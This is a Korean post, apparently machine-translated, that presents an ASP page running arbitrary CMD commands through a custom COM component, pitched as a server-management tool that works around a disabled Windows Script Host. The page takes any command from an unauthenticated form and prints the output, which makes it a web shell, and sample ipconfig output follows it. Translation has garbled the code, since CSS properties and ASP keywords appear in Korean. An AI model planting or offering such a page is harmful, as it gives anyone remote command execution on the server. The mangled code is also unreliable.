때로는 서버를 관리 할 때 보안을위한 Windows 스크립팅 호스트를 비활성화하면 일부 불법 사용자가 WSH를 사용하여 웹 쉘을 생성하여 서버에 큰 보안 위험을 초래할 수 있습니다. 그러나 WSH를 비활성화하고 자신의 웹 쉘을 사용하여 서버 관리를 관리하려면 어떻게해야합니까? 다음은 ASP에서 CMD를 구현하고 결과를 표시하는 구성 요소 프로그래밍입니다. 모두를 돕기를 바랍니다.
|||. T 텍스트/CSS>
<!-
.Singleborder {
국경 : 1px 고체;
배경색 : #000000;
Font-Family : Arial, Helvetica, Sans-Serif;
색상 : #ffffff;
}
.noborder {
국경 : 1px 없음;
배경색 : #000000;
Font-Family : Arial, Helvetica, Sans-Serif;
색상 : #ffffff;
}
신체 { #000000; #333333; 색상 : #000000;
Font-Family : Fixsys;
->
</스타일>
<양식 action = method = post>
<입력 이름 = CMD 클래스 = 단일 보더 값 = <%= request.form (cmd)%> size = 102>
<입력 유형 = 제출 클래스 = 단일 보더 값 = 실행>
</form>
<%
request.form (cmd) <> 인 경우
set testme = server.createobject (aspcmd.cmdshell)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<TextArea cols = 120 줄 = 30 class = noborder>
<%= testme.exec1 (request.form (cmd))%> </textarea>
<% set testme = 아무것도
끝 If
%>
다음은 IpConfig /All을 실행 한 결과입니다.
Windows 2000 IP 구성
호스트 이름 ......... : IBM-WRK-02
기본 DNS 접미사 ....... :
노드 유형 .......... : 방송
IP 라우팅 활성화 ....... : 아니오
프록시가 활성화 된 승리 ....... : 아니오
이더넷 어댑터 로컬 연결 :
연결 별 DNS 접미사. ::
설명 ........... : 인텔 (R) Pro/100 VM 네트워크 연결
물리적 주소 ........ : 008-02-BD-D7-EB
DHCP 활성화 ......... : 아니요
IP 주소 ........ .. : 192.168.0.4
서브넷 마스크 ......... : 255.255.255.0
기본 게이트웨이 .......... : 192.168.0.1
DNS 서버 ......... : 202.106.196.115